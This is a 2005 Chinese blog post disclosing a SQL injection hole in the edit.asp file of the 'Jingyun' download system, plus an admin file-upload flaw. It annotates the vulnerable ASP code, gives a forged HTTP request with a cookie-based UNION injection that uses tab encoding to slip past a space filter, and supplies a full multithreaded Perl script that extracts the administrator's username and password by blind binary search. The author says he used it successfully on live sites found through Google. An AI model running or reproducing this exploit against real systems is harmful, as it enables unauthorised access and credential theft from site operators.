我的人生路  
日历
<2005年7月>
262728293012
3456789
10111213141516
17181920212223
24252627282930
31123456
统计
  • 随笔 - 74
  • 文章 - 57
  • 评论 - 7
  • 引用 - 0

导航

常用链接

留言簿(5)

随笔分类

随笔档案

文章分类

文章档案

相册

颜色

搜索

  •  

最新评论

阅读排行榜

评论排行榜

 
惊云下载系统edit.asp文件存在SQL注入漏洞,后台存在任意文件上传漏洞
惊云下载系统以前有个漏洞好象在user.asp,不知现在修补没有。本人这次和大家讲件edit.asp文件的漏洞,一来发布一个
漏洞,二教教大家如何发现和利用漏洞。我一行一行解释。
<%
user=Request.cookies("JyDownUserName")
'取得用户COOKIE并存入USER变量

if user<>"" then
user=replace(user," ","+++ close")
'给USER变量替换空格
else
response.write("<li>您没有进入本页面的权限,本次操作已被记录!<br><li>如果你是本站会员请先<a href=login.asp target=_top>登陆</a>后进入.")
response.end
end if
'上面判断COOKIE是否为空,空则跳转,等会我们构造COOKIE欺骗,让JyDownUserName这个COOKIE值不为空,至于为多少,等会说。


server_vv=len(Request.ServerVariables("SERVER_NAME"))
server_v1=left(Cstr(Request.ServerVariables("HTTP_REFERER")),server_vv)
server_v2=left(Cstr("http://"&Request.ServerVariables("SERVER_NAME")),server_vv)
if server_v1<>server_v2 and server_v1<>"" and server_v2<>"" then
response.write("<script>alert('错误:禁止从站点外部提交数据!.')</script>")
response.end
end if
'上面判断网页是否是从浏览器点击而进入的,我们同样可以伪造是这个地方为真,再此不再赘述
%>


<!--#include file="mdb_path_user.asp"-->
<!--#include file="char.inc"-->
<!--#include file="config.asp"-->
'上面是头文件包含,没什么用,忽略就行了

<%
pwd=replace(request.form("pwd")," ","+++ close")
set rs=server.CreateObject("ADODB.RecordSet")
rs.open "select * from UserInfo where user='"&user&"'",conn,1,2
'关键的一句注入点,因为user=replace(Request.cookies("JyDownUserName"),," ","+++ close"),很明显没有过滤单引号
if rs.eof then
JyDownMsg="错误:"&user&"用户资料读取错误,请重新登陆!"
'注入条件判断语句,没有它都不能确定是否成功,返回此句代表失败
else
if request("type")="save" then
if pwd="" then
JyDownMsg="错误:要修改资料必需填写原密码!"
else
if pwd<>rs("pwd") then
JyDownMsg="错误:原密码错误!"
'注入条件判断语句,没有它都不能确定是否成功,返回此句代表成功,至于为什么我真得无法用语言表达了,还是自己想吧。这句以下已经没有意义了。解释至此
else
qm=htmlencode(request.form("qm"))
if len(qm)>250 then
JyDownMsg="错误:个性签名多于250个字符!"
else
.........



好了,已经知道注入的地方,而且知道成功的标志,同时知道表的结构(网上可以找到嘛),便可以利用了。
到底如何利用呢?当然最好是搞定管理员的用户和密码拉。


我用WSE抓包后,整理如下(以我自己的机器做实验)

POST /admin/edit.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
1 Referer: http://localhost/
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)
Host: localhost
Content-Length: 125
Connection: Keep-Alive
cache-Control: no-cache
2 Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=aaaaaaaa'%09union%09select%09*%09from%09userinfo%09where%09id%3D1%09and%09len(pwd)%3D1%09and%09'1%3D1

type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oicq=33337788&email=fsadf@fsf.com&homepage=&qm=&softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4

上面两处是需要注意的,有序号。其他地方随便添,按照我上面的就行了。

1处是为了逃避上面讲到的防网页不是从点击近来的,把这个值设为网址就行了,没什么好讲的。
2处是最关键的,我上面提到了COOKIE欺骗,这里不但要欺骗还有注入。

JyDownUserName这个值我们把它设为了
aaaaaaaa' union select * from userinfo where id=1 and len(pwd)=1 and '1=1
这个。上面是经过编码的。其中%09是TAB键的编码,为了躲过空格过滤。它和空格是等价的,真的谢谢MS工程师开发软件总是为用户着想,生怕功能不强。
程序作者只过滤了空格欠考虑。


把上面的值代入到原程序总就变为了(应该学过代数啊,呵呵)
select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=1 and '1=1'

那个a串没什么意义,就是为了使前面语句为假,没有这个用户就行了,可以是任意特殊字符串。后面的SELECT是重点。
ID=1是猜id为1的用户,其实就是管理员用户。不过有的管理员可能改了,那就不灵了。猜他的长度是不是1。
很显然是1可能性很小,不要紧,猜错了,会返回“错误:....用户资料读取错误,请重新登陆!”中间省了一部分。
我们把语句换成
select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=2 and '1=1'
返回“错误:....用户资料读取错误,请重新登陆!”,看来用户名长度也不是2,再换。

换到5是返回 "错误:原密码错误!",看来用户名长度就是5了。同样方法猜出密码长度7。

该猜字符。
select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and asc(mid(user,1,1)=40 and '1=1'
上面的语句大家能看懂吧?用mid函数是截取一个字符,然后转换成ASCII码,再和40比较。返回错误,说明user的第一个字符ASCII值不是40。

猜到97的时候返回"错误:原密码错误!",说明用户名第一个字符是a 。

以此类推,猜出user是admin,pwd是abcdefg.管理员的用户密码猜出来了。

上面的过程显然不可能手工输入和猜测,必须依靠工具。现成的也没有这种工具,鄙毕人就抽了宝贵的打牌(QQ升级)时间了写了个程序,很快就猜出来了。上面是方法。


我用我写的程序在网上实验,真是无往不利。就是在GOOGLE上搜惊云系统,管理员很快猜出来了。

我登陆一个网站后,发现有个地方可以上传文件。我回过头读源代码,发现了和动网一样的文件上传漏洞,都是在路径上没做检查,允许远程命名文件名。

我抓包,提交,恩,成功。顺便又写了个脚本。这个漏洞没什么好讲的,还是看动画怎么做吧。
下面事猜管理员密码的源代码

#!/usr/bin/perl

use IO::Socket;
use threads;

$lhost = $ARGV[0];#主机IP

$port = $ARGV[1];#端口号,默认80

$path = $ARGV[2];

$id = $ARGV[3];

$mod = $ARGV[4];

$char = $ARGV[5];

$argv_len=@ARGV;

if($argv_len<=4) { usage(); exit(); }

if($mod==0)
{
get_user_len($id);
get_pwd_len($id);
}

elsif($mod==1)
{
#get_user($id,$char);
my $i;
for($i=1;$i<=$char;$i++)
{
$t[$i]=threads->new(\&get_user,$id,$i);
}
for($i=1;$i<=$char;$i++)
{
$t[$i]->join();
}
}
elsif($mod==2)
{
#get_pwd($id,$char);

my $i;
for($i=1;$i<=$char;$i++)
{
$t[$i]=threads->new(\&get_pwd,$id,$i);
}
for($i=1;$i<=$char;$i++)
{
$t[$i]->join();
}

}

exit();

sub get_user()
{
my($id,$char_now)=@_;
my $aaa=bin_s(0,123,$path,$char_now,$id);
print "The $char_now char:".chr($aaa)."\n";
}



sub bin_s()
{
my ($low,$high,$path,$char_now,$id)=@_;

my $lh=($low+$high)/2;

my $aaaa=$lh-int($lh);

my $mid;

if($aaaa>0)
{
$mid=int($lh)+1;
}
else
{
$mid=int($lh);
}

my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(user ,$char_now,1))>".$mid."%09and%09'1%3D1");

my $mid1_flag;

if($mid_flag==0)
{
$mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(use r,$char_now,1))%3D".$mid."%09and%09'1%3D1");
}
else
{
$mid1_flag=0;
}

#print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id";

if($mid_flag==0&&$mid1_flag==1)
{
return $mid;
}
elsif($mid_flag==1&&$mid1_flag==0)
{
bin_s($mid,$high,$path,$char_now,$id);
}
elsif($mid_flag==0&&$mid1_flag==0)
{
bin_s($low,$mid,$path,$char_now,$id);
}

}



sub get_pwd()
{
my($id,$char_now)=@_;
my $aaa=bin_pwd_s(0,123,$path,$char_now,$id);
print "The $char_now char:".chr($aaa)."\n";
}


sub bin_pwd_s()
{
my ($low,$high,$path,$char_now,$id)=@_;

my $lh=($low+$high)/2;

my $aaaa=$lh-int($lh);

my $mid;

if($aaaa>0)
{
$mid=int($lh)+1;
}
else
{
$mid=int($lh);
}

my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd, $char_now,1))>".$mid."%09and%09'1%3D1");

my $mid1_flag;

if($mid_flag==0)
{
$mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd ,$char_now,1))%3D".$mid."%09and%09'1%3D1");
}
else
{
$mid1_flag=0;
}

#print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id";

if($mid_flag==0&&$mid1_flag==1)
{
return $mid;
}
elsif($mid_flag==1&&$mid1_flag==0)
{
bin_pwd_s($mid,$high,$path,$char_now,$id);
}
elsif($mid_flag==0&&$mid1_flag==0)
{
bin_pwd_s($low,$mid,$path,$char_now,$id);
}

}




sub get_user_len()
{
my($id)=@_;

for($user_j=1;$user_j<=30;$user_j++)
{
$user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(user)%3 D".$user_j."%09and%09'1%3D1");
if($user_flag==1){last;}
}
if($user_j<31)
{
print "User_length of id $id: $user_j\n";
}
else
{
print "Can't get user length\n";
}
return $user_j;

}

sub get_pwd_len()
{
my($id)=@_;
my $user_j,$user_flag;
for($user_j=1;$user_j<=30;$user_j++)
{
$user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(pwd)%3D ".$user_j."%09and%09'1%3D1");
if($user_flag==1){last;}
}
if($user_j<31)
{
print "Pass_length of id $id: $user_j\n";
}
else
{
print "Can't get password length\n";
}
return $user_j;
}



sub GetRequest()
{
my($lpath,$usercookie)=@_;
$remote=IO::Socket::INET->new (Proto => "tcp", PeerAddr=>$lhost, PeerPort => $port, Type => SOCK_STREAM) or die "Couldnt connect to $lhost:$port : $@\n";
$remote->autoflush(1);

$content=" type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oic q=33337788&email=fsadf@fsf.com&homepage=&qm=& ;softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4 ";
$length=length($content);

$post="POST ".$lpath." HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*\r\n".
"Referer: http://".$lhost.":".$port."/".$path."\r\n".
"Accept-Language: zh-cn\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)\r\n".
"Host: $lhost\r\n".
"Content-Length: ".$length."\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=".$usercookie."\r\n\r\n".
$content;

print $remote $post;

my $flag=0;
for($i=1;$i<=40;$i++)
{
$line=<$remote>;
if(index($line,"原密码错误")!=-1)
{
$flag=1;
}
}
close $remote;
return $flag;
}

sub usage()
{
print "$0 host port path id mod char\n";
print "mod 0 用户名和密码长度 1 猜用户 2 猜密码\n";
print "char 猜测字符位置 1-20";
}


欢迎大家访问我的个人网站 萌萌的IT人
posted on 2005-07-08 13:19 一天一点爱恋 阅读(180) 评论(0)  编辑  收藏

只有注册用户登录后才能发表评论。


网站导航:
 
 
Copyright © 一天一点爱恋 Powered by: 博客园 模板提供:沪江博客